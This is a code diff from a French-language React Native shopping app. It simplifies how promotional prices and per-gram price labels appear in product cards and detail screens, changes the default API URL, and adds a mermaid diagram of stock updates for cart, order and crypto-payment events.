|
|
||||||
// ✅ quantity = grammes choisis (5, 10, 25, etc.)
|
|
||||||
// ✅ Pas de boutons +/- dans le panier
|
|
||||||
// ✅ Pour acheter 2× le même produit, l'ajouter 2 fois
|
|
||||||
|
|
||||||
import {
|
import {
|
||||||
createContext,
|
createContext,
|
||||||
@@ -348,4 +344,3 @@ export function CartProvider({ children }: { children: ReactNode }) {
|
|||||||
</CartContext.Provider>
|
</CartContext.Provider>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -329,10 +329,10 @@ function ProductDetail() {
|
|||||||
)}
|
)}
|
||||||
<span style={hasPromo ? { color: "#22c55e" } : undefined}>
|
<span style={hasPromo ? { color: "#22c55e" } : undefined}>
|
||||||
{selectedPrice.toFixed(2)} €
|
{selectedPrice.toFixed(2)} €
|
||||||
</span>
|
</span>{" "}
|
||||||
{!hasPromo &&
|
{selectedGrams &&
|
||||||
selectedGrams &&
|
`pour ${selectedGrams}${product.unit || "g"}`}
|
||||||
` pour ${selectedGrams}${product.unit || "g"}`}
|
{hasPromo && ` (-${selectedTier!.promo_percent}%)`}
|
||||||
</p>
|
</p>
|
||||||
);
|
);
|
||||||
})()}
|
})()}
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ import axios from "axios";
|
|||||||
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
||||||
|
|
||||||
export const API_BASE_URL =
|
export const API_BASE_URL =
|
||||||
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
|
process.env.EXPO_PUBLIC_API_URL ?? "https://uber-demo.club";
|
||||||
|
|
||||||
const apiClient = axios.create({
|
const apiClient = axios.create({
|
||||||
baseURL: API_BASE_URL,
|
baseURL: API_BASE_URL,
|
||||||
|
|||||||
@@ -47,8 +47,6 @@ interface ProductCardProps {
|
|||||||
quantity: number;
|
quantity: number;
|
||||||
price: number;
|
price: number;
|
||||||
active_price?: boolean;
|
active_price?: boolean;
|
||||||
promo_price?: number | null;
|
|
||||||
promo_percent?: number;
|
|
||||||
}>;
|
}>;
|
||||||
media?: Array<{ url: string; type: string }>;
|
media?: Array<{ url: string; type: string }>;
|
||||||
};
|
};
|
||||||
@@ -69,11 +67,6 @@ export default function ProductCard({
|
|||||||
const activePrices =
|
const activePrices =
|
||||||
product.prices?.filter((p) => p.active_price !== false) ?? [];
|
product.prices?.filter((p) => p.active_price !== false) ?? [];
|
||||||
const firstPrice = activePrices[0]?.price ?? null;
|
const firstPrice = activePrices[0]?.price ?? null;
|
||||||
const firstPromoPrice =
|
|
||||||
activePrices[0]?.promo_price != null &&
|
|
||||||
activePrices[0].promo_price < activePrices[0].price
|
|
||||||
? activePrices[0].promo_price
|
|
||||||
: null;
|
|
||||||
|
|
||||||
const imageMedia = product.media?.find((m) => m.type === "image");
|
const imageMedia = product.media?.find((m) => m.type === "image");
|
||||||
const videoMedia = product.media?.find((m) => m.type === "video");
|
const videoMedia = product.media?.find((m) => m.type === "video");
|
||||||
@@ -205,33 +198,11 @@ export default function ProductCard({
|
|||||||
>
|
>
|
||||||
{product.name}
|
{product.name}
|
||||||
</Text>
|
</Text>
|
||||||
{firstPrice !== null ? (
|
<Text style={[styles.price, { color: colors.success }]}>
|
||||||
firstPromoPrice !== null ? (
|
{firstPrice !== null
|
||||||
<View style={styles.priceRow}>
|
? `${firstPrice.toFixed(2)} €`
|
||||||
<Text
|
: "Prix non disponible"}
|
||||||
style={[
|
</Text>
|
||||||
styles.priceStrike,
|
|
||||||
{ color: colors.textMuted },
|
|
||||||
]}
|
|
||||||
>
|
|
||||||
{firstPrice.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
<Text
|
|
||||||
style={[styles.price, { color: colors.success }]}
|
|
||||||
>
|
|
||||||
{firstPromoPrice.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
) : (
|
|
||||||
<Text style={[styles.price, { color: colors.success }]}>
|
|
||||||
{firstPrice.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
)
|
|
||||||
) : (
|
|
||||||
<Text style={[styles.price, { color: colors.success }]}>
|
|
||||||
Prix non disponible
|
|
||||||
</Text>
|
|
||||||
)}
|
|
||||||
</View>
|
</View>
|
||||||
|
|
||||||
<View
|
<View
|
||||||
@@ -346,39 +317,14 @@ export default function ProductCard({
|
|||||||
{p.quantity}
|
{p.quantity}
|
||||||
{product.unit || "g"}
|
{product.unit || "g"}
|
||||||
</Text>
|
</Text>
|
||||||
{p.promo_price != null &&
|
<Text
|
||||||
p.promo_price < p.price ? (
|
style={[
|
||||||
<View style={styles.pickerPriceRow}>
|
styles.pickerOptionPrice,
|
||||||
<Text
|
{ color: catColor },
|
||||||
style={[
|
]}
|
||||||
styles.priceStrike,
|
>
|
||||||
{ color: colors.textMuted },
|
{p.price.toFixed(2)} €
|
||||||
]}
|
</Text>
|
||||||
>
|
|
||||||
{p.price.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
<Text
|
|
||||||
style={[
|
|
||||||
styles.pickerOptionPrice,
|
|
||||||
{ color: catColor },
|
|
||||||
]}
|
|
||||||
>
|
|
||||||
{p.promo_price.toFixed(2)} €
|
|
||||||
{p.promo_percent
|
|
||||||
? ` (-${p.promo_percent}%)`
|
|
||||||
: ""}
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
) : (
|
|
||||||
<Text
|
|
||||||
style={[
|
|
||||||
styles.pickerOptionPrice,
|
|
||||||
{ color: catColor },
|
|
||||||
]}
|
|
||||||
>
|
|
||||||
{p.price.toFixed(2)} €
|
|
||||||
</Text>
|
|
||||||
)}
|
|
||||||
</View>
|
</View>
|
||||||
<Ionicons
|
<Ionicons
|
||||||
name="add-circle"
|
name="add-circle"
|
||||||
@@ -569,21 +515,6 @@ const styles = StyleSheet.create({
|
|||||||
fontWeight: fontWeight.bold,
|
fontWeight: fontWeight.bold,
|
||||||
textAlign: "center",
|
textAlign: "center",
|
||||||
},
|
},
|
||||||
priceRow: {
|
|
||||||
flexDirection: "row",
|
|
||||||
alignItems: "center",
|
|
||||||
justifyContent: "center",
|
|
||||||
gap: spacing.xs,
|
|
||||||
},
|
|
||||||
pickerPriceRow: {
|
|
||||||
flexDirection: "row",
|
|
||||||
alignItems: "center",
|
|
||||||
gap: spacing.xs,
|
|
||||||
},
|
|
||||||
priceStrike: {
|
|
||||||
fontSize: fontSize.md,
|
|
||||||
textDecorationLine: "line-through",
|
|
||||||
},
|
|
||||||
quickAddSection: { padding: spacing.m, borderTopWidth: 1 },
|
quickAddSection: { padding: spacing.m, borderTopWidth: 1 },
|
||||||
quickAddBtn: {
|
quickAddBtn: {
|
||||||
width: "100%",
|
width: "100%",
|
||||||
|
|||||||
@@ -220,3 +220,5 @@ export function useCart() {
|
|||||||
if (!context) throw new Error("useCart must be used within a CartProvider");
|
if (!context) throw new Error("useCart must be used within a CartProvider");
|
||||||
return context;
|
return context;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
|||||||
@@ -621,10 +621,11 @@ export default function ProductDetailScreen() {
|
|||||||
hasPromo && { color: "#22c55e" },
|
hasPromo && { color: "#22c55e" },
|
||||||
]}
|
]}
|
||||||
>
|
>
|
||||||
{selectedPrice.toFixed(2)} €
|
{selectedPrice.toFixed(2)} €{" "}
|
||||||
{!hasPromo &&
|
{selectedGrams &&
|
||||||
selectedGrams &&
|
`pour ${selectedGrams}${product.unit || "g"}`}
|
||||||
` pour ${selectedGrams}${product.unit || "g"}`}
|
{hasPromo &&
|
||||||
|
` (-${selectedTier!.promo_percent}%)`}
|
||||||
</Text>
|
</Text>
|
||||||
</View>
|
</View>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
```mermaid
|
||||||
|
graph TD
|
||||||
|
A[Client ajoute au panier] -->|Décrémente stock| B[Stock -= quantité]
|
||||||
|
B --> C[Ajout au panier]
|
||||||
|
C -->|❌ Si échec| D[Stock déjà décrémenté!]
|
||||||
|
|
||||||
|
E[Client supprime du panier] -->|Transaction DB| F[Stock += quantité]
|
||||||
|
F --> G[Suppression du panier]
|
||||||
|
|
||||||
|
H[Client valide commande] --> I[Panier vidé]
|
||||||
|
I -->|Sans restaurer stock| J[Commande créée]
|
||||||
|
|
||||||
|
K[Client annule commande] -->|Transaction DB| L[Stock += quantité]
|
||||||
|
L --> M[Commande annulée]
|
||||||
|
|
||||||
|
N[Paiement crypto échoue] -->|Transaction DB| O[Stock += quantité]
|
||||||
|
```
|
||||||
Reference in New Issue
Block a user